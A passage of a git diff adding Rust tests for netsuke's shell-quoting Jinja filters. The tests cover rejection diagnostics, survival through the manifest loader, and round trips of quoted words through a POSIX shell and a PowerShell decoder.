filters refuse a non-sequence and name what they got. +/// +/// The two filters word the diagnostic differently — `compact expects a +/// sequence` against `shell_join expects a sequence` — but both carry the +/// received kind, which is what the case asserts alongside the expected text. +#[rstest] +#[case::compact("compact", "compact expects a sequence")] +#[case::shell_join("shell_join", "shell_join expects a sequence")] +fn sequence_filters_reject_non_sequences( + #[case] filter: &str, + #[case] expectation: &str, + #[values( + "a mapping", + "a string", + "none", + "an undefined name", + "a number", + "a boolean" + )] + description: &str, +) -> Result<()> { + let rejected = NON_SEQUENCES + .iter() + .find(|candidate| candidate.description == description) + .with_context(|| format!("no rejection fixture for {description}"))?; + let reported = rejection(filter, &(rejected.build)())?; + ensure!( + reported.contains(expectation), + "{filter} should report {expectation:?} for {description}: {reported}" + ); + ensure!( + reported.contains(rejected.kind), + "{filter} should name the kind {:?} for {description}: {reported}", + rejected.kind + ); + Ok(()) +} + +/// `shell_quote` refuses every non-string subject, including a Jinja object. +/// +/// The `args` code is asserted here and not on `compact` because only the +/// recipe-text filters carry it: `compact`'s diagnostic is a collections +/// message with no `netsuke::jinja::shell::args` prefix, and asserting one +/// would be asserting a code that does not exist. +#[rstest] +#[case("a mapping")] +#[case("a sequence")] +#[case("none")] +#[case("an undefined name")] +#[case("a number")] +#[case("a boolean")] +#[case("a MiniJinja object with no string form")] +fn shell_quote_rejects_non_strings(#[case] description: &str) -> Result<()> { + let rejected = NON_STRINGS + .iter() + .find(|candidate| candidate.description == description) + .with_context(|| format!("no rejection fixture for {description}"))?; + let reported = rejection("shell_quote", &(rejected.build)())?; + ensure!( + reported.contains("shell_quote expects a string"), + "shell_quote should state its expectation for {description}: {reported}" + ); + ensure!( + reported.contains(rejected.kind), + "shell_quote should name the kind {:?} for {description}: {reported}", + rejected.kind + ); + ensure!( + reported.contains("netsuke::jinja::shell::args"), + "shell_quote should carry the args code for {description}: {reported}" + ); + assert_no_stringification(&reported, description); + Ok(()) +} + +/// Assert the diagnostic quotes the kind rather than stringifying the value. +/// +/// A `to_string` fallback would render a number as `7` inside a *successful* +/// quote, and a boolean as `true`; the diagnostic naming the kind instead is +/// how the caller learns the filter refused rather than coerced. Kept as a +/// helper so the single call site reads as one assertion. +fn assert_no_stringification(reported: &str, description: &str) { + assert!( + !reported.contains("expected string"), + "shell_quote must not fall back to stringifying {description}: {reported}" + ); +} + +/// The kind gate is doing work `try_iter` would not do. +/// +/// This is the negative control for the two cases above. `try_iter` accepts a +/// map (yielding keys), a string (yielding characters), and an iterable object, +/// so an implementation gated on it alone would accept all three. Showing that +/// the underlying iterator *would* have produced something is what makes the +/// rejection the gate's doing rather than the value being uniterable. +#[test] +fn try_iter_would_have_accepted_three_of_the_rejected_subjects() -> Result<()> { + for (subject, name) in [ + ( + Value::from_iter(std::iter::once(("a", Value::from(1)))), + "a mapping", + ), + (Value::from("abc"), "a string"), + (iterable_object(), "an iterable object"), + ] { + let items = subject + .try_iter() + .with_context(|| format!("{name} should be iterable, or this control proves nothing"))? + .count(); + ensure!( + items > 0, + "{name} should yield members, or this control proves nothing" + ); + } + // And the gate refuses a mapping anyway, which is the contrast: the + // rejection is the kind check's doing, not the value being uniterable. + ensure!( + rejection( + "compact", + &Value::from_iter(std::iter::once(("a", Value::from(1)))) + )? + .contains("map"), + "compact must reject a mapping rather than iterate its keys" + ); + Ok(()) +} diff --git a/tests/shell_filter_property_tests/manifest_rendering.rs b/tests/shell_filter_property_tests/manifest_rendering.rs new file mode 100644 index 000000000..be9f9face --- /dev/null +++ b/tests/shell_filter_property_tests/manifest_rendering.rs @@ -0,0 +1,257 @@ +//! OBL-NO-ESCAPE and OBL-CONTEXT: the quoter's bytes survive the real pipeline. +//! +//! Everywhere else in these suites the filter is called directly. These two +//! obligations go through the whole pipeline instead — a manifest on disk, the +//! real loader, the real renderer — because the hazard they name lives in the +//! layers around the filter rather than in it: an auto-escaping environment +//! would rewrite `&` to `&`, and a template whose interpolation sits inside +//! `"..."` hands the shell the quoter's own quote characters as *data*. +//! [`an_auto_escaping_environment_rewrites_the_same_template`] and +//! [`the_two_interpolation_positions_differ`] are the controls that show the +//! assertions can fail. +use super::property_support::{SH, quote_value, render_with}; +// The interpreter lookups are reachable only from the two `#[cfg(unix)]` cases +// at the foot of this module, so an unconditional import is an unused-import +// error on Windows, where `-D warnings` is a merge gate. +#[cfg(unix)] +use super::property_support::{posix_shell, run_posix_shell}; +use anyhow::{Context, Result, ensure}; +use minijinja::{AutoEscape, Environment, context, value::Value}; +use netsuke::manifest::{ + self, EnvAccessPolicy, EnvReader, ManifestBudgetLimits, ManifestEnvironment, +}; +use netsuke::stdlib::{NetworkPolicy, StdlibConfig}; +use rstest::rstest; + +// --------------------------------------------------------------------------- +// OBL-NO-ESCAPE +// --------------------------------------------------------------------------- + +/// Write a one-target manifest binding `value` as the template variable +/// `seam_value`, and return the workspace holding it. +/// +/// The value travels in a YAML block scalar rather than being spliced into the +/// template source or quoted as a YAML double-quoted scalar. Both of those +/// alternatives reintroduce the escaping problem this file is about: a value +/// containing `"` or `\` has to be re-escaped for YAML, and a value containing +/// `{{` would be taken as template syntax. A block scalar is literal, so the +/// subject reaches the filter byte for byte. +fn workspace_with_bound_value(value: &str, body: &str) -> Result { + let workspace = tempfile::tempdir().context("create manifest workspace")?; + let manifest_path = workspace.path().join("Netsukefile"); + let manifest = format!( + "netsuke_version: \"1.0.0\"\nvars:\n seam_value: |-\n {value}\n{body}", + value = value.replace('\n', "\n "), + ); + test_support::fs::write(&manifest_path, manifest).context("write manifest")?; + Ok(workspace) +} + +/// The span the manifest loader rendered for `{{ seam_value | shell_quote }}`. +fn rendered_description(value: &str) -> Result { + let workspace = workspace_with_bound_value( + value, + concat!( + "targets:\n", + " - name: seam\n", + " description: \"{{ seam_value | shell_quote(dialect='sh') }}\"\n", + " command: echo seam\n", + ), + )?; + let manifest_path = workspace.path().join("Netsukefile"); + let reader: EnvReader = netsuke::manifest::process_env_reader(); + let environment = ManifestEnvironment::new(&reader, EnvAccessPolicy::default()); + let loaded = manifest::from_path_with_policy_and_environment_and_limits( + &manifest_path, + NetworkPolicy::default(), + &environment, + ManifestBudgetLimits::default(), + netsuke::recipe_shell::RecipeShell::Posix, + None, + )?; + Ok(loaded + .targets + .first() + .and_then(|target| target.description.clone()) + .unwrap_or_default()) +} + +/// The quoter's bytes survive the real manifest loader unchanged. +/// +/// The comparison is against `shell_quote`'s own output for the same input, so +/// the assertion fails if either the filter or the loader changes. An escaped +/// `&` inside a recipe would be a silent corruption of exactly the text +/// this feature exists to protect. +#[rstest] +#[case("&")] +#[case("<")] +#[case(">")] +#[case("\"")] +#[case("'")] +#[case("a & b")] +fn quoted_output_survives_manifest_rendering_verbatim(#[case] value: &str) -> Result<()> { + let expected = quote_value(value, SH)?; + let observed = rendered_description(value)?; + ensure!( + observed == expected, + "the loader rendered {observed:?} but the quoter produced {expected:?}" + ); + for escaped in ["&", "<", ">", """, "'"] { + ensure!( + !observed.contains(escaped), + "the loader HTML-escaped the quoter's output: {observed}" + ); + } + Ok(()) +} + +/// An auto-escaping environment *does* rewrite the same template. +/// +/// This is the negative control that proves the assertion above can detect +/// escaping. The manifest pipeline renders through an unnamed template, so +/// `MiniJinja`'s default callback leaves `<` alone; forcing the callback on shows +/// what the assertion would have caught, and confirms the escape route exists +/// rather than having been removed in some future version. +#[test] +fn an_auto_escaping_environment_rewrites_the_same_template() -> Result<()> { + let value = ""; + let template = "{{ value | shell_quote(dialect='sh') }}"; + + let plain = render_with(template, SH, &Value::from(value))?; + ensure!( + plain.contains('<'), + "without auto-escaping the raw character should survive: {plain}" + ); + + let config = StdlibConfig::from_current_dir()?; + let mut escaping = Environment::new(); + netsuke::stdlib::register_with_config(&mut escaping, config)?; + escaping.set_auto_escape_callback(|_| AutoEscape::Html); + let escaped = escaping.render_str(template, context! { value => value })?; + ensure!( + escaped != plain, + "forcing auto-escaping changed nothing, so the control proves nothing" + ); + ensure!( + escaped.contains("<") && escaped.contains("&"), + "the escaping environment should rewrite the significant characters: {escaped}" + ); + Ok(()) +} + +// --------------------------------------------------------------------------- +// OBL-CONTEXT +// --------------------------------------------------------------------------- + +/// The generated Ninja `command =` line for a one-target manifest. +/// +/// `value` is bound as the template variable `seam_value`; `template` is the +/// command text, which interpolates it. +fn generated_command(value: &str, template: &str) -> Result { + let workspace = workspace_with_bound_value( + value, + &format!( + concat!( + "targets:\n", + " - name: out\n", + " command: \"{template}\"\n", + " description: seam\n", + ), + template = template.replace('\\', "\\\\").replace('"', "\\\""), + ), + )?; + let manifest_path = workspace.path().join("Netsukefile"); + let run = test_support::netsuke::run_netsuke_in( + workspace.path(), + &[ + "--file", + manifest_path + .to_str() + .context("manifest path should be UTF-8")?, + "generate", + "--output", + "out.ninja", + ], + )?; + ensure!(run.success, "generation failed: {}", run.stderr); + let ninja = test_support::fs::read_to_string(workspace.path().join("out.ninja")) + .context("read generated Ninja")?; + ninja + .lines() + .find_map(|line| line.strip_prefix(" command = ").map(str::to_owned)) + .context("generated Ninja should carry a command binding") +} + +/// The value the OBL-CONTEXT cases quote: a space and an `=` inside one word. +const CONTEXT_VALUE: &str = "RUSTFLAGS=-D warnings"; + +/// A filter in unquoted argv position produces text the shell reads correctly. +#[cfg(unix)] +#[rstest] +fn a_filter_in_unquoted_position_yields_one_argument() -> Result<()> { + let command = generated_command( + CONTEXT_VALUE, + "printf '%s\\n' {{ seam_value | shell_quote(dialect='sh') }}", + )?; + + let shell = posix_shell().context("a POSIX shell is required for this case")?; + let decoded = run_posix_shell(&shell, &command)?; + ensure!( + decoded == format!("{CONTEXT_VALUE}\n"), + "the shell read {decoded:?} from {command:?}, expected one argument" + ); + ensure!( + !command.contains("\"RUSTFLAGS"), + "the interpolated word must not be enclosed in shell double quotes: {command}" + ); + Ok(()) +} + +/// The same filter inside `"..."` is a manifest defect, pinned as such. +/// +/// The first draft of the plan's acceptance transcript placed the interpolation +/// inside a pair of double quotes. There the quoter's own quote characters are +/// *data*, and the shell hands the recipe a corrupted argument — the failure +/// mode this obligation exists to name. The case is here so that a future +/// change which silently "fixes" it has to confront the documented answer. +#[cfg(unix)] +#[rstest] +fn a_filter_inside_double_quotes_corrupts_the_argument() -> Result<()> { + let command = generated_command( + CONTEXT_VALUE, + "printf '%s\\n' \"{{ seam_value | shell_quote(dialect='sh') }}\"", + )?; + + let shell = posix_shell().context("a POSIX shell is required for this case")?; + let decoded = run_posix_shell(&shell, &command)?; + ensure!( + decoded != format!("{CONTEXT_VALUE}\n"), + "the double-quoted position unexpectedly produced the right argument: {command}" + ); + ensure!( + decoded.contains('\'') || decoded.contains('"'), + "the corruption should be the quoter's literal quote characters: {decoded:?}" + ); + Ok(()) +} + +/// The two positions must not produce the same command. +/// +/// Both cases above ask the same question of two templates. If the two ever +/// rendered identically, one of the two would be measuring nothing. +#[test] +fn the_two_interpolation_positions_differ() -> Result<()> { + let unquoted = generated_command( + CONTEXT_VALUE, + "printf '%s\\n' {{ seam_value | shell_quote(dialect='sh') }}", + )?; + let quoted = generated_command( + CONTEXT_VALUE, + "printf '%s\\n' \"{{ seam_value | shell_quote(dialect='sh') }}\"", + )?; + ensure!( + unquoted != quoted, + "the two positions produced the same command, so the pair proves nothing" + ); + Ok(()) +} diff --git a/tests/shell_filter_property_tests/property_support.rs b/tests/shell_filter_property_tests/property_support.rs new file mode 100644 index 000000000..2eadf6907 --- /dev/null +++ b/tests/shell_filter_property_tests/property_support.rs @@ -0,0 +1,200 @@ +//! Shared harness for the `shell_quote` and `shell_join` property suites. +//! +//! Split out of the parent to keep it under `AGENTS.md`'s 400-line cap. What is +//! shared is deliberately *only* the harness: the dialect names, the generator, +//! the interpreter lookups, and the encoders and decoders the sibling suites +//! measure against. Each obligation lives in the sibling that states it, so a +//! suite can be read without the others. +//! +//! The generated domain is a deliberate alphabet rather than `any::()`. +//! Uniform bytes are almost all inert — a random string of printable ASCII is +//! mostly alphanumerics — so the interesting inputs, the ones made only of +//! metacharacters, would be vanishingly rare and a property would pass on a +//! sample that never exercised quoting at all. + +use anyhow::{Context, Result, bail}; +// `ensure!` is used only by `run_posix_shell`, which is itself `#[cfg(unix)]`: +// keeping the import unconditional is an unused-import error on Windows, where +// `-D warnings` is a merge gate. +#[cfg(unix)] +use anyhow::ensure; +use minijinja::{Environment, context, value::Value}; +use netsuke::stdlib::StdlibConfig; +use proptest::prelude::*; +// The interpreter lookups below are Unix-only, so their types and the +// process handle are too: an unconditional import is an unused-import +// error on Windows, where `-D warnings` is a merge gate. +#[cfg(unix)] +use camino::Utf8PathBuf; +#[cfg(unix)] +use std::process::Command; + +/// The dialect names the filters accept, spelled as call sites must spell them. +pub(super) const SH: &str = "sh"; +/// The PowerShell dialect name. +pub(super) const POWERSHELL: &str = "powershell"; + +/// Characters the shell treats as special, plus enough letters to build words. +/// +/// Every entry earns its place: the quotes and backslash are the escaping +/// cases, the expansion characters (`$`, backtick) are the ones a wrong encoder +/// silently expands, the glob and grouping characters (`*`, `?`, `[`, `{`) are +/// the ones that change the *shape* of an argument vector, and the separators +/// (`;`, `&`, `|`, newline-adjacent control characters) are the ones that split +/// one word into several. Tab is here because it is both a shell separator and +/// a control character the encoder must carry literally. +pub(super) const ALPHABET: &[char] = &[ + 'a', 'b', 'z', 'A', 'Z', '0', '9', '_', '-', '.', '/', ',', ' ', '\t', '\'', '"', '$', '`', + '\\', '*', '?', ';', '&', '|', '<', '>', '(', ')', '[', ']', '{', '}', '#', '~', '!', '=', ':', + '@', '%', '^', '+', 'é', '中', '\u{80}', '\u{a0}', +]; + +/// The expansion-and-quote witness the plan names as its worst case. +/// +/// `shell_quote` must not leave the expansion live, and must not leave the +/// quote unbalanced. Kept as a constant so the corpus-span check below can +/// require it, rather than hoping a random draw produces it. +pub(super) const EXPANSION_WITNESS: &str = "$HOME 'x'"; + +/// A string drawn from [`ALPHABET`], admissible as a single-line recipe word. +/// +/// Lengths run to twenty-four characters, which is long enough to reach several +/// quoting transitions — the encoder alternates in and out of quotes per run. +/// +/// The empty word and [`EXPANSION_WITNESS`] are seeded into one arm each. Both +/// are reachable by chance — an empty draw is one of the twenty-five lengths, +/// and the witness is one of astronomically many draws — but a corpus-span +/// check that requires them would then fail on an unlucky seed roughly one run +/// in fourteen, which is a flaky control rather than a control. +pub(super) fn word() -> impl Strategy { + prop_oneof![ + 1 => Just(String::new()), + 1 => Just(EXPANSION_WITNESS.to_owned()), + 8 => prop::collection::vec(prop::sample::select(ALPHABET), 0..24).prop_map(|chars| { + chars + .into_iter() + .filter(|character| !matches!(character, '\n' | '\r' | '\0')) + .collect() + }), + ] +} + +/// A string that is never empty, for cases where the empty word is not the +/// subject under test and would only add a degenerate case. +pub(super) fn non_empty_word() -> impl Strategy { + word().prop_filter("the word must not be empty", |value| !value.is_empty()) +} + +/// Locate `sh`, or `None` when the host has no POSIX shell. +/// +/// Three well-known absolute paths are probed in order, with no `PATH` lookup: +/// the point is to find a shell the runner cannot fail to have, and consulting +/// `PATH` would make the result depend on the environment this suite is +/// meant to be independent of. The absolute list also covers Homebrew's macOS +/// `sh`, which lives outside the `PATH` some CI runners set. +// This helper runs a real POSIX shell, so it exists only where one does; the +// Windows merge gate would otherwise see it as dead code under `-D warnings`. +#[cfg(unix)] +pub(super) fn posix_shell() -> Option { + for candidate in ["/bin/sh", "/usr/bin/sh", "/usr/local/bin/sh"] { + let path = Utf8PathBuf::from(candidate); + if path.is_file() { + return Some(path); + } + } + None +} + +/// Run `script` under a real POSIX shell and return its stdout. +// This helper runs a real POSIX shell, so it exists only where one does; the +// Windows merge gate would otherwise see it as dead code under `-D warnings`. +#[cfg(unix)] +pub(super) fn run_posix_shell(shell: &Utf8PathBuf, script: &str) -> Result { + let output = Command::new(shell.as_str()) + .arg("-c") + .arg(script) + .output() + .with_context(|| format!("run {shell} -c {script}"))?; + ensure!( + output.status.success(), + "{shell} exited with {} for {script}: {}", + output.status, + String::from_utf8_lossy(&output.stderr) + ); + String::from_utf8(output.stdout).context("shell stdout should be valid UTF-8") +} + +/// The rendered text of `template` under a stdlib environment with `dialect`. +/// +/// The environment is registered through `stdlib::register_with_config`, so the +/// filters under test are the ones a manifest actually receives rather than a +/// re-registration of the same closures. +/// +/// `subject` is bound to the template variables `value` and `values` rather +/// than spliced into the source. Binding under both names lets one helper serve +/// the scalar and the list filter; interpolating a Rust `{:?}` rendering would +/// work for the common case and break on exactly the inputs this file exists to +/// exercise — a word containing `\u{80}` or a backslash is not a valid Jinja +/// string escape, and the resulting diagnostic would be an escaping bug in the +/// test harness masquerading as one in the filter. +pub(super) fn render_with(template: &str, dialect: &str, subject: &Value) -> Result { + let base = StdlibConfig::from_current_dir()?; + let config = match dialect { + SH => base.with_recipe_shell(netsuke::recipe_shell::RecipeShell::Posix), + POWERSHELL => base.with_recipe_shell(netsuke::recipe_shell::RecipeShell::PowerShell), + other => bail!("unknown test dialect {other}"), + }; + let mut env = Environment::new(); + netsuke::stdlib::register_with_config(&mut env, config)?; + // The `?` converts `minijinja::Error` into the `anyhow::Error` this helper + // returns, so it is load-bearing rather than a `needless_question_mark`. + Ok(env.render_str(template, context! { value => subject, values => subject })?) +} + +/// Render `{{ value | shell_quote }}` with an omitted dialect, for `dialect`. +pub(super) fn quote_value(value: &str, dialect: &str) -> Result { + render_with("{{ value | shell_quote }}", dialect, &Value::from(value)) +} + +/// Decode one PowerShell single-quoted literal written by the encoder. +/// +/// This is a *decoder*, not a restatement of the encoder: it strips the +/// enclosing quotes and collapses each doubled quote. Writing it the other way +/// round — calling the encoder and comparing — would prove only that the +/// function is a function. +/// +/// # Errors +/// +/// Returns an error if `text` is not a single-quoted PowerShell literal. +pub(super) fn decode_power_shell_literal(text: &str) -> Result { + let inner = text + .strip_prefix('\'') + .and_then(|rest| rest.strip_suffix('\'')) + .with_context(|| format!("not a PowerShell single-quoted literal: {text:?}"))?; + Ok(inner.replace("''", "'")) +} + +/// The bytes a POSIX shell reads back, given the encoder's output. +/// +/// `printf %s` writes its argument without a trailing newline, so the child's +/// stdout is the decoded word and nothing else. Passing the encoded text as the +/// script's argument rather than splicing it into the script keeps the harness +/// honest: the shell parses the word from argument position, which is exactly +/// where a recipe's word sits. +// This helper runs a real POSIX shell, so it exists only where one does; the +// Windows merge gate would otherwise see it as dead code under `-D warnings`. +#[cfg(unix)] +pub(super) fn decode_through_posix_shell(shell: &Utf8PathBuf, encoded: &str) -> Result { + let script = format!(r"printf %s {encoded}"); + run_posix_shell(shell, &script) +} + +/// Split `text` as a POSIX shell would, using the same lexer the IR uses. +pub(super) fn split(text: &str) -> Result> { + shlex::split(text).with_context(|| format!("shlex could not split {text:?}")) +} + +/// The POSIX encoder's output for `value`, read out of the filter itself. +pub(super) fn encoded_sh(value: &str) -> Result { + quote_value(value, SH) +} diff --git a/tests/shell_filter_property_tests/round_trip_through_an_oracle.rs b/tests/shell_filter_property_tests/round_trip_through_an_oracle.rs new file mode 100644 index 000000000..94cb4a79a --- /dev/null +++ b/tests/shell_filter_property_tests/round_trip_through_an_oracle.rs @@ -0,0 +1,291 @@ +//! OBL-SH-ROUNDTRIP and OBL-PS-ROUNDTRIP: an oracle reads back what was quoted. +//! +//! The POSIX obligation is discharged by a real shell: the encoder's output is +//! handed to `sh` in argument position and `printf %s` returns the word. The +//! PowerShell obligation has no interpreter to hand on most hosts, so it is +//! discharged by a *decoder* written independently of the encoder. +//! +//! Both are round trips, and a round trip is only evidence when the oracle can +//! fail: [`the_posix_harness_rejects_a_naive_quoter`] and +//! [`the_power_shell_decoder_rejects_posix_quoting`] supply that, and +//! [`the_generated_corpus_spans_the_quoting_boundary`] shows the generator +//! reaches the inputs where a wrong answer would show. +use super::property_support::{ + POWERSHELL, decode_power_shell_literal, encoded_sh, quote_value, word, +}; +use anyhow::{Context, Result, ensure}; +use proptest::prelude::*; +use proptest::test_runner::{FileFailurePersistence, TestRunner}; +// The POSIX harness belongs to the `#[cfg(unix)]` obligation and the control +// beside it. Those items are themselves gated in `property_support`, so naming +// them from an ungated `use` would not even resolve on Windows, where +// `-D warnings` is a merge gate. +#[cfg(unix)] +use super::property_support::{decode_through_posix_shell, posix_shell}; +// Likewise the only `#[rstest]` case here is the `#[cfg(unix)]` control. +#[cfg(unix)] +use rstest::rstest; +use std::cell::Cell; +use std::process::Command; + +// --------------------------------------------------------------------------- +// OBL-SH-ROUNDTRIP +// --------------------------------------------------------------------------- + +// The obligation is `#[cfg(unix)]` because it needs a real `/bin/sh`, which the +// Windows merge gate (`make SHELL=bash test` on `windows-latest`) does not +// provide. That gate compiles and runs the `#[cfg(windows)]` tree under +// `-D warnings`, so a test that cannot run there must be removed by `cfg` +// rather than left to fail at run time: a `TestCaseError::fail` on a host with +// no `sh` reports the whole job red for a reason no host change can fix. What +// Windows loses is the *round trip*; [`the_generated_corpus_spans_the_quoting_boundary`] +// still exercises `Sh` encoding there, and +// [`the_power_shell_model_matches_the_real_interpreter`] runs against a real +// `powershell.exe`. +#[cfg(unix)] +proptest! { + // 64 cases, not 128: every case forks a shell, and the whole file must + // finish inside the 10s budget the milestones set for it. The corpus is + // still wide enough to reach the boundary — the companion test below + // asserts that it does rather than assuming it. + #![proptest_config(ProptestConfig { + cases: 64, + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/shell_filter_property_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// A real shell reads back exactly what was quoted. + #[test] + fn sh_quoting_round_trips_through_a_real_shell(value in word()) { + // No `None` arm: this module compiles only on Unix, where `posix_shell` + // finds one of the well-known paths. Returning an error here instead + // would put the whole Windows job red for an unrunnable test, which is + // the defect this gate replaced. + let shell = posix_shell().expect("a POSIX shell on a Unix host"); + let encoded = encoded_sh(&value) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + let decoded = decode_through_posix_shell(&shell, &encoded) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + prop_assert_eq!(&decoded, &value, "quoted {:?} as {:?}", value, encoded); + } +} + +/// The subprocess harness rejects a quoter that is wrong. +/// +/// The witness is the plan's own worst case: `$HOME 'x'` contains an expansion, +/// a space, and a single quote. Wrapping it in double quotes — the naive fix a +/// manifest author reaches for — leaves the expansion live and the quote +/// unbalanced, so a real shell does not return the input. If this ever passes, +/// [`decode_through_posix_shell`] is not measuring anything and every green case +/// above is void. +#[cfg(unix)] +#[rstest] +fn the_posix_harness_rejects_a_naive_quoter() -> Result<()> { + let shell = posix_shell().context("a POSIX shell is required for this control")?; + let witness = "$HOME 'x'"; + let naive = format!("\"{witness}\""); + let decoded = decode_through_posix_shell(&shell, &naive)?; + // `ensure!` rather than `assert_ne!` throughout this file: the workspace + // denies `clippy::panic_in_result_fn`, so a `Result`-returning test reports + // a failure by returning it. + ensure!( + decoded != witness, + "the harness accepted a naive double-quoting; it is not measuring quoting" + ); + Ok(()) +} + +/// The generated corpus reaches the quoting boundary, not just alphanumerics. +/// +/// The property above can only fail on inputs that need quoting. Without this, +/// a generator that happened to produce nothing but inert characters would let +/// the property pass while testing nothing. The tallies live in a `Cell` +/// because `TestRunner::run` takes an `Fn`. +#[test] +fn the_generated_corpus_spans_the_quoting_boundary() { + let tallies: Cell = Cell::new(Corpus::default()); + TestRunner::new(ProptestConfig { + cases: 64, + ..ProptestConfig::default() + }) + .run(&word(), |value| { + tallies.set(tallies.get().extended(&value)); + Ok(()) + }) + .expect("the word corpus should be generatable"); + + let observed = tallies.into_inner(); + assert!( + observed.with_quote > 0 + && observed.with_dollar > 0 + && observed.with_space > 0 + && observed.with_control > 0 + && observed.empty > 0 + && observed.quoted > 0, + "the corpus must reach every quoting boundary: {observed:?}" + ); +} + +/// Tallies of the quoting boundaries a generated corpus reached. +#[derive(Clone, Copy, Debug, Default)] +struct Corpus { + /// Words containing a single quote, the escaping case. + with_quote: usize, + /// Words containing a dollar sign, the expansion case. + with_dollar: usize, + /// Words containing a space, the splitting case. + with_space: usize, + /// Words containing a C0 control character other than the three rejected. + with_control: usize, + /// The empty word, which the encoder must render as `''`. + empty: usize, + /// Words the encoder did not leave bare, i.e. cases that exercised quoting. + quoted: usize, +} + +impl Corpus { + /// Fold one generated word into the tallies, returning the result. + /// + /// `Cell::get` needs `Copy` and `Cell::set` needs a whole value, so the + /// tally is a fold rather than an in-place mutation. + fn extended(self, value: &str) -> Self { + // "Did this need quoting" is asked of the encoder, through the same + // filter the property exercises, rather than of a re-derived character + // class that could disagree with it. + let needed_quoting = encoded_sh(value).is_ok_and(|encoded| encoded != value); + Self { + with_quote: self.with_quote + usize::from(value.contains('\'')), + with_dollar: self.with_dollar + usize::from(value.contains('$')), + with_space: self.with_space + usize::from(value.contains(' ')), + with_control: self.with_control + + usize::from( + value.chars().any(|character| { + character.is_control() && !matches!(character, '\n' | '\r') + }), + ), + empty: self.empty + usize::from(value.is_empty()), + quoted: self.quoted + usize::from(needed_quoting), + } + } +} + +// --------------------------------------------------------------------------- +// OBL-PS-ROUNDTRIP +// --------------------------------------------------------------------------- + +proptest! { + #![proptest_config(ProptestConfig { + cases: 128, + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/shell_filter_property_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// The PowerShell model decodes back to the input for every word. + #[test] + fn power_shell_quoting_round_trips_through_the_model(value in word()) { + let encoded = quote_value(&value, POWERSHELL) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + let decoded = decode_power_shell_literal(&encoded) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + prop_assert_eq!(&decoded, &value, "quoted {:?} as {:?}", value, encoded); + } +} + +/// The PowerShell decoder rejects POSIX quoting. +/// +/// Without this, a decoder that returned its input unchanged — or one that +/// merely stripped the first and last byte — would satisfy the property above +/// for every word the POSIX encoder already leaves bare. The witness is chosen +/// so the two encoders genuinely differ: POSIX suffix-quoting emits `a' b'`, +/// which has no enclosing quotes to strip. +#[test] +fn the_power_shell_decoder_rejects_posix_quoting() -> Result<()> { + let posix = encoded_sh("a b")?; + ensure!( + posix == "a' b'", + "POSIX quoting changed shape: {posix:?}, so the witness is no longer a bare word" + ); + let decoded = decode_power_shell_literal(&posix); + ensure!( + decoded.is_err(), + "the decoder accepted POSIX output {posix:?} as a PowerShell literal" + ); + Ok(()) +} + +/// The name of an interpreter to try, in the order a host is likely to have it. +/// +/// `powershell.exe` is the Windows PowerShell the recipes actually run under; +/// `pwsh` is PowerShell Core, which parses single-quoted strings identically +/// and so can discharge the same axiom on a non-Windows CI host. +const POWER_SHELL_CANDIDATES: &[&str] = &["powershell.exe", "pwsh", "powershell"]; + +/// Run `script` under the first PowerShell interpreter this host provides. +/// +/// # Errors +/// +/// Returns `Ok(None)` when no interpreter is installed, or an error when one is +/// installed and fails to run. +fn run_power_shell(script: &str) -> Result> { + for candidate in POWER_SHELL_CANDIDATES { + let output = match Command::new(candidate) + .args([ + "-NoLogo", + "-NoProfile", + "-NonInteractive", + "-Command", + script, + ]) + .output() + { + Ok(output) => output, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => continue, + Err(error) => { + return Err(error).with_context(|| format!("run {candidate}")); + } + }; + ensure!( + output.status.success(), + "{candidate} exited with {} for {script}: {}", + output.status, + String::from_utf8_lossy(&output.stderr) + ); + let stdout = String::from_utf8(output.stdout) + .with_context(|| format!("{candidate} stdout should be valid UTF-8"))?; + // PowerShell terminates its output with a newline the writer did not + // ask for; the round trip is about the bytes, so it is stripped here + // rather than papered over in the assertion. + return Ok(Some(stdout.trim_end_matches(['\r', '\n']).to_owned())); + } + Ok(None) +} + +/// The model agrees with the real interpreter where one is present. +/// +/// On Linux the model is the only available oracle, which is why AXIOM-2 rests +/// on it there; this case discharges the gap wherever an interpreter exists +/// (Windows CI, or a host with PowerShell Core installed). +#[test] +#[expect( + clippy::print_stderr, + reason = "test harness: an unavailable interpreter must be visible in the captured test output instead of the case passing silently" +)] +fn the_power_shell_model_matches_the_real_interpreter() -> Result<()> { + for value in ["a b", "it's", "$HOME", "", "a\"b", "中", "x\ty"] { + let encoded = quote_value(value, POWERSHELL)?; + let script = format!("[Console]::Out.Write({encoded})"); + let Some(output) = run_power_shell(&script)? else { + eprintln!("skipped: no PowerShell interpreter on this host"); + return Ok(()); + }; + ensure!( + output == value, + "the interpreter read {output:?} back from {encoded} for {value:?}" + ); + } + Ok(()) +} diff --git a/tests/shell_filter_property_tests/word_and_join.rs b/tests/shell_filter_property_tests/word_and_join.rs new file mode 100644 index 000000000..2d275c267 --- /dev/null +++ b/tests/shell_filter_property_tests/word_and_join.rs @@ -0,0 +1,239 @@ +//! OBL-ONE-WORD and OBL-JOIN-SPLIT: a quoted value is one word, and joining +//! inverts splitting. +//! +//! The oracle both obligations share is `shlex::split`, the same lexer the IR +//! uses, which makes each a statement about what a *shell* would read rather +//! than about what the encoder emitted. [`the_split_oracle_sees_the_unquoted_form_as_two_words`] +//! and [`a_naive_join_fails_the_split_round_trip`] are what keep those +//! statements from being satisfied by an encoder that emits one inert word. +use super::property_support::{ + POWERSHELL, SH, encoded_sh, non_empty_word, quote_value, render_with, split, word, +}; +use anyhow::{Result, ensure}; +use minijinja::value::Value; +use proptest::prelude::*; +use proptest::test_runner::{FileFailurePersistence, TestRunner}; +use rstest::rstest; +use std::cell::Cell; + +// --------------------------------------------------------------------------- +// OBL-ONE-WORD +// --------------------------------------------------------------------------- + +proptest! { + #![proptest_config(ProptestConfig { + cases: 128, + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/shell_filter_property_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// A quoted value is exactly one shell word. + #[test] + fn sh_quoting_yields_exactly_one_word(value in word()) { + let encoded = encoded_sh(&value) + 